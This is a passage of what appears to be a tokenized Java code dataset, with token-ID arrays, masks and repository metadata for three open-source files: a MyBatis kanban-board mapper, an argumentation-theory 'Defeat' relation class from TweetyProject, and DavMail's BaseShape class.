58,
61,
57,
54,
55,
57,
59,
58,
57,
57,
54,
60,
59,
58,
59,
61,
60,
62,
55,
61,
59,
61,
55,
55,
74,
50,
56,
55,
57,
98,
650,
447,
72,
66,
57,
51,
62,
57,
53,
59,
58,
59,
57,
58,
61,
57,
54,
55,
57,
59,
58,
57,
57,
54,
60,
59,
58,
59,
61,
60,
62,
55,
61,
59,
61,
55,
55,
74,
50,
56,
55,
57,
49,
493,
66,
54,
51,
60,
62,
60,
59,
62,
56,
54,
56,
57,
61,
59,
55,
56,
54,
58,
60,
53,
61,
54,
57,
58,
55,
60,
57,
55,
56,
60,
56,
54,
60,
74,
56,
53,
61,
1015,
682,
338,
2643,
2102,
708,
22119,
391,
1499,
50,
25208,
49,
70,
96,
650,
1499,
73,
49,
48,
39185,
96,
244,
619,
9972,
3773,
1118,
545,
12165,
49,
563,
341,
12603,
692,
682,
338,
2102,
708,
22119,
391,
1499,
71,
49,
72,
96,
619,
1549,
1888,
3773,
1118,
545,
12165,
51,
682,
338,
496,
772,
804,
2082,
1470,
391,
545,
6658,
63,
2315,
545,
563,
341,
2224,
244,
332,
55,
51,
56,
57,
58,
39,
575,
332,
55,
56,
57,
58,
74,
50,
56,
39,
682,
338,
496,
5124,
25154,
12921,
1888,
1002,
49,
75,
1862,
443,
1888,
1002,
49,
41327,
16457,
2553,
14797,
49,
9544,
3828,
14797,
682,
588,
353,
581,
782,
2886,
4090,
45,
2640,
804,
46,
2589,
25154,
12921,
1888,
1002,
49,
525,
1862,
443,
1888,
1002,
49,
25154,
3828,
14797,
49,
41327,
16457,
2553,
14797,
49,
41327,
16457,
671,
1436,
8738,
1002,
320,
303,
477,
51,
4558,
45,
1886,
312,
303,
910,
7037,
299,
11866,
9592,
2769,
51,
2640,
724,
9084,
45,
872,
494,
10780,
465,
1614,
320,
416,
477,
51,
489,
8738,
45,
5966,
49,
244,
53,
312,
303,
339,
2385,
327,
23763,
16457,
671,
1436,
8738,
1002,
503,
46,
320,
416,
503,
51,
9428,
492,
416,
1440,
556,
41327,
16457,
2553,
14797,
492,
303,
339,
353,
339,
736,
1041,
6972,
331,
821,
642,
331,
2082,
804,
575,
341,
655,
451,
331,
7472,
804,
303,
338,
580,
458,
14398,
341,
813,
451,
477,
1431,
1773,
456,
341,
8253,
9556,
451,
341,
2082,
804,
3318,
580,
1648,
461,
619,
763,
40901,
804,
303,
338,
496,
620,
341,
2082,
804,
575,
341,
7472,
2102,
332,
43452,
21726,
1479,
10765,
318,
21726,
411,
332,
17982,
47075,
411,
332,
17144,
47075,
1479,
17982,
5953,
1479,
17144,
5953,
39,
303,
588,
353,
581,
910,
1511,
4090,
365,
320,
303,
461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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 951
| true
| 69.775421
| true
| true
|
KanbanBoardMapper.java
|
/FileExtraction/Java_unseen/MyCollab_mycollab/mycollab-services/src/main/java/com/mycollab/module/project/dao/KanbanBoardMapper.java
|
package com.mycollab.module.project.dao;
import com.mycollab.db.persistence.ICrudGenericDAO;
import com.mycollab.module.project.domain.KanbanBoard;
import com.mycollab.module.project.domain.KanbanBoardExample;
import java.util.List;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Param;
@SuppressWarnings({ "ucd", "rawtypes" })
@Mapper
public interface KanbanBoardMapper extends ICrudGenericDAO {
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
long countByExample(KanbanBoardExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
int deleteByExample(KanbanBoardExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
int deleteByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
int insert(KanbanBoard record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
int insertSelective(KanbanBoard record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
List<KanbanBoard> selectByExample(KanbanBoardExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
KanbanBoard selectByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
int updateByExampleSelective(@Param("record") KanbanBoard record, @Param("example") KanbanBoardExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
int updateByExample(@Param("record") KanbanBoard record, @Param("example") KanbanBoardExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
int updateByPrimaryKeySelective(KanbanBoard record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
int updateByPrimaryKey(KanbanBoard record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
Integer insertAndReturnKey(KanbanBoard value);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
void removeKeysWithSession(List primaryKeys);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table m_prj_kanban_board
*
* @mbg.generated Sat Apr 20 17:20:23 CDT 2019
*/
void massUpdateWithSession(@Param("record") KanbanBoard record, @Param("primaryKeys") List primaryKeys);
}
| 4,144
|
Java
|
.java
|
MyCollab/mycollab
| 1,243
| 572
| 27
|
2014-01-30T15:43:08Z
|
2023-02-26T14:48:27Z
|
ea8c871f97bcf6c36ff7f561d81da2bd0993e046b26ce85cb3b0145090853887
|
[
1337,
785,
51,
1791,
4938,
380,
51,
1663,
51,
2268,
51,
13974,
64,
222,
222,
485,
785,
51,
1791,
4938,
380,
51,
1219,
51,
10782,
51,
1122,
119,
856,
4020,
12909,
64,
222,
485,
785,
51,
1791,
4938,
380,
51,
1663,
51,
2268,
51,
4136,
51,
80,
297,
10365,
8447,
64,
222,
485,
785,
51,
1791,
4938,
380,
51,
1663,
51,
2268,
51,
4136,
51,
80,
297,
10365,
8447,
5306,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
485,
1105,
51,
2121,
51,
947,
6765,
51,
8839,
51,
5640,
64,
222,
485,
1105,
51,
2121,
51,
947,
6765,
51,
8839,
51,
3196,
64,
222,
222,
69,
14030,
1389,
332,
1027,
105,
411,
332,
1312,
2529,
39,
1809,
222,
69,
5640,
222,
942,
2586,
1242,
297,
10365,
8447,
5640,
2041,
457,
34294,
4020,
12909,
320,
303,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
1964,
2409,
1103,
5306,
45,
80,
297,
10365,
8447,
5306,
2301,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
648,
3081,
1103,
5306,
45,
80,
297,
10365,
8447,
5306,
2301,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
648,
3081,
1103,
18923,
45,
3078,
828,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
648,
5567,
45,
80,
297,
10365,
8447,
3646,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
648,
5567,
1926,
680,
45,
80,
297,
10365,
8447,
3646,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
1701,
65,
80,
297,
10365,
8447,
67,
2209,
1103,
5306,
45,
80,
297,
10365,
8447,
5306,
2301,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
1242,
297,
10365,
8447,
2209,
1103,
18923,
45,
3078,
828,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
648,
1991,
1103,
5306,
1926,
680,
4810,
3196,
459,
4155,
678,
1242,
297,
10365,
8447,
3646,
49,
496,
3196,
459,
2783,
678,
1242,
297,
10365,
8447,
5306,
2301,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
648,
1991,
1103,
5306,
4810,
3196,
459,
4155,
678,
1242,
297,
10365,
8447,
3646,
49,
496,
3196,
459,
2783,
678,
1242,
297,
10365,
8447,
5306,
2301,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
648,
1991,
1103,
18923,
1926,
680,
45,
80,
297,
10365,
8447,
3646,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
648,
1991,
1103,
18923,
45,
80,
297,
10365,
8447,
3646,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
4418,
5567,
2199,
2907,
971,
45,
80,
297,
10365,
8447,
804,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
782,
3365,
5044,
1569,
3152,
45,
739,
7470,
5044,
312,
465,
1041,
294,
338,
1369,
1431,
1616,
4741,
829,
38532,
15419,
51,
294,
338,
1369,
1431,
20883,
391,
341,
3520,
1877,
364,
100,
44588,
100,
10646,
10365,
100,
2207,
294,
338,
294,
338,
496,
38749,
51,
6413,
18517,
12742,
244,
55,
53,
244,
54,
60,
63,
55,
53,
63,
55,
56,
409,
6286,
244,
55,
53,
54,
62,
294,
588,
303,
782,
12777,
2346,
1569,
3152,
4810,
3196,
459,
4155,
678,
1242,
297,
10365,
8447,
3646,
49,
496,
3196,
459,
4472,
5044,
678,
1701,
7470,
5044,
312,
222,
130
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,201
| true
| 64.309846
| true
| true
|
Defeat.java
|
/FileExtraction/Java_unseen/TweetyProjectTeam_TweetyProject/org-tweetyproject-arg-lp/src/main/java/org/tweetyproject/arg/lp/semantics/attack/Defeat.java
|
/*
* This file is part of "TweetyProject", a collection of Java libraries for
* logical aspects of artificial intelligence and knowledge representation.
*
* TweetyProject is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License version 3 as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* Copyright 2016 The TweetyProject Team <http://tweetyproject.org/contact/>
*/
package org.tweetyproject.arg.lp.semantics.attack;
import org.tweetyproject.arg.lp.syntax.Argument;
/**
* This notion of attack models the defeat relation.
* A defeats B iff
* (1) A undercuts B or
* (2) A rebuts B and B does not undercut A
*
* @author Sebastian Homann
*
*/
public class Defeat implements AttackStrategy {
/** Singleton instance. */
private static Defeat instance = new Defeat();
private Rebut rebut = Rebut.getInstance();
private Undercut undercut = Undercut.getInstance();
/** Private constructor. */
private Defeat(){};
/**
* Returns the singleton instance of this class.
* @return the singleton instance of this class.
*/
public static Defeat getInstance(){
return Defeat.instance;
}
/*
* (non-Javadoc)
* @see org.tweetyproject.argumentation.parameterisedhierarchy.semantics.attack.NotionOfAttack#attacks(org.tweetyproject.argumentation.parameterisedhierarchy.syntax.Argument, org.tweetyproject.argumentation.parameterisedhierarchy.syntax.Argument)
*/
public boolean attacks(Argument a, Argument b) {
if(undercut.attacks(a,b)) {
return true;
}
return rebut.attacks(a,b) && !undercut.attacks(b,a);
}
/*
* (non-Javadoc)
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
return "defeat";
}
/*
* (non-Javadoc)
* @see org.tweetyproject.argumentation.parameterisedhierarchy.semantics.attack.AttackStrategy#toAbbreviation()
*/
public String toAbbreviation() {
return "d";
}
}
| 2,357
|
Java
|
.java
|
TweetyProjectTeam/TweetyProject
| 26
| 17
| 2
|
2021-01-27T18:06:27Z
|
2024-04-25T17:57:09Z
|
e3aeacf660f60353183922e3c70ee15b26b9971690682130579affba04984bf0
|
[
1127,
222,
338,
244,
1369,
822,
458,
1760,
451,
332,
33001,
126,
3214,
411,
331,
4512,
451,
4957,
11382,
456,
222,
338,
244,
16028,
30913,
451,
5570,
31388,
648,
21510,
480,
17037,
10323,
51,
222,
338,
222,
338,
244,
413,
9224,
126,
3214,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
244,
580,
1549,
341,
5974,
451,
341,
6994,
16227,
6153,
5062,
1196,
1522,
244,
56,
641,
222,
338,
244,
9582,
829,
341,
7834,
3870,
7120,
51,
222,
338,
222,
338,
244,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
244,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
244,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
244,
6994,
16227,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
244,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
16227,
6153,
5062,
1196,
222,
338,
244,
7979,
642,
477,
3477,
51,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
338,
222,
338,
244,
2657,
244,
55,
53,
54,
59,
906,
413,
9224,
126,
3214,
12653,
350,
544,
574,
21767,
126,
2268,
51,
1107,
52,
5559,
2056,
222,
588,
222,
1337,
1105,
51,
21767,
126,
2268,
51,
645,
51,
1935,
51,
42114,
51,
15605,
64,
222,
222,
485,
1105,
51,
21767,
126,
2268,
51,
645,
51,
1935,
51,
8147,
51,
3501,
64,
499,
222,
1350,
222,
338,
1369,
666,
304,
451,
11142,
4590,
341,
684,
40373,
14774,
51,
1676,
338,
418,
684,
106,
1990,
570,
44732,
1676,
338,
327,
54,
46,
418,
1549,
46285,
570,
575,
222,
338,
327,
55,
46,
418,
334,
717,
120,
570,
480,
570,
1976,
666,
1549,
6330,
418,
222,
338,
5357,
338,
496,
2133,
47943,
36949,
696,
437,
1039,
222,
338,
222,
588,
222,
942,
462,
1531,
15048,
4584,
37403,
8095,
320,
499,
221,
1350,
34816,
1998,
51,
588,
222,
221,
2072,
924,
1531,
15048,
1998,
299,
556,
1531,
15048,
492,
3038,
221,
2072,
922,
717,
334,
717,
299,
922,
717,
51,
7432,
492,
222,
221,
2072,
20118,
6330,
1549,
6330,
299,
20118,
6330,
51,
7432,
492,
3038,
221,
1350,
12406,
4389,
51,
588,
222,
221,
2072,
1531,
15048,
3261,
1274,
3038,
221,
1350,
376,
338,
3777,
341,
25118,
1998,
451,
477,
462,
51,
376,
338,
496,
620,
341,
25118,
1998,
451,
477,
462,
51,
376,
588,
222,
221,
942,
924,
1531,
15048,
31605,
3261,
376,
221,
620,
1531,
15048,
51,
2403,
64,
222,
221,
130,
221,
3038,
221,
1127,
376,
338,
327,
3804,
50,
29282,
46,
376,
338,
496,
2987,
1105,
51,
21767,
126,
2268,
51,
2686,
387,
51,
5616,
8628,
32742,
51,
42114,
51,
15605,
51,
1355,
304,
1436,
13321,
40,
15605,
120,
45,
1107,
51,
21767,
126,
2268,
51,
2686,
387,
51,
5616,
8628,
32742,
51,
8147,
51,
3501,
49,
1105,
51,
21767,
126,
2268,
51,
2686,
387,
51,
5616,
8628,
32742,
51,
8147,
51,
3501,
46,
376,
588,
222,
221,
942,
1922,
32574,
45,
3501,
331,
49,
7115,
342,
46,
320,
376,
221,
344,
45,
8505,
6330,
51,
15605,
120,
45,
102,
49,
103,
509,
320,
374,
221,
620,
878,
64,
376,
221,
130,
376,
221,
620,
334,
717,
51,
15605,
120,
45,
102,
49,
103,
46,
979,
673,
8505,
6330,
51,
15605,
120,
45,
103,
49,
102,
312,
222,
221,
130,
3038,
221,
1127,
376,
338,
327,
3804,
50,
29282,
46,
376,
338,
496,
2987,
1401,
51,
1600,
51,
976,
40,
3127,
365,
376,
588,
222,
221,
69,
1806,
222,
221,
942,
910,
11349,
365,
320,
376,
221,
620,
332,
610,
40373,
884,
222,
221,
130,
3038,
221,
1127,
376,
338,
327,
3804,
50,
29282,
46,
376,
338,
496,
2987,
1105,
51,
21767,
126,
2268,
51,
2686,
387,
51,
5616,
8628,
32742,
51,
42114,
51,
15605,
51,
13321,
8095,
40,
471,
44281,
17071,
365,
376,
588,
222,
221,
942,
910,
391,
44281,
17071,
365,
320,
376,
221,
620,
332,
105,
884,
222,
221,
130,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 670
| true
| 72.464998
| true
| true
|
BaseShape.java
|
/FileExtraction/Java_unseen/mguessan_davmail/src/java/davmail/exchange/ews/BaseShape.java
|
/*
* DavMail POP/IMAP/SMTP/CalDav/LDAP Exchange Gateway
* Copyright (C) 2010 Mickael Guessant
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package davmail.exchange.ews;
/**
* Item or folder base shape.
*/
@SuppressWarnings({"UnusedDeclaration"})
public final class BaseShape extends ElementOption {
private BaseShape(String value) {
super("t:BaseShape", value);
}
/**
* Return id only.
*/
public static final BaseShape ID_ONLY = new BaseShape("IdOnly");
/**
* Return default properties.
*/
public static final BaseShape DEFAULT = new BaseShape("Default");
/**
* Return all properties, except MAPI extended properties.
*/
public static final BaseShape ALL_PROPERTIES = new BaseShape("AllProperties");
}
| 1,500
|
Java
|
.java
|
mguessan/davmail
| 545
| 81
| 169
|
2018-06-13T21:26:19Z
|
2024-04-23T14:36:07Z
|
b017cf12d5525864d3cf195ae05d291820ad853ecb58e53363b12e7e62bd3cfb
|
[
1127,
222,
338,
493,
472,
8610,
26284,
52,
78,
5847,
52,
37692,
52,
3524,
73,
472,
52,
30557,
20034,
19405,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
53,
244,
507,
1246,
15462,
8098,
522,
710,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
222,
338,
5370,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
641,
9582,
829,
341,
7834,
3870,
7120,
64,
3173,
1522,
244,
55,
222,
338,
451,
341,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
222,
338,
7120,
49,
6367,
4345,
244,
58,
54,
34113,
22321,
49,
33316,
26912,
49,
25006,
49,
13083,
280,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
49,
15067,
51,
222,
588,
222,
1337,
362,
472,
2215,
51,
11435,
51,
39745,
64,
222,
222,
1350,
222,
338,
6337,
575,
4865,
1712,
6073,
51,
222,
588,
222,
69,
14030,
15540,
28653,
10369,
15147,
222,
942,
1175,
462,
3787,
4749,
2041,
6840,
2846,
320,
303,
964,
3787,
4749,
45,
671,
804,
46,
320,
310,
2615,
459,
121,
63,
1778,
4749,
411,
804,
312,
303,
339,
465,
1041,
294,
338,
2762,
828,
1773,
51,
294,
588,
303,
581,
924,
1175,
3787,
4749,
2502,
100,
13003,
299,
556,
3787,
4749,
459,
625,
4505,
742,
303,
1041,
294,
338,
2762,
1263,
4324,
51,
294,
588,
303,
581,
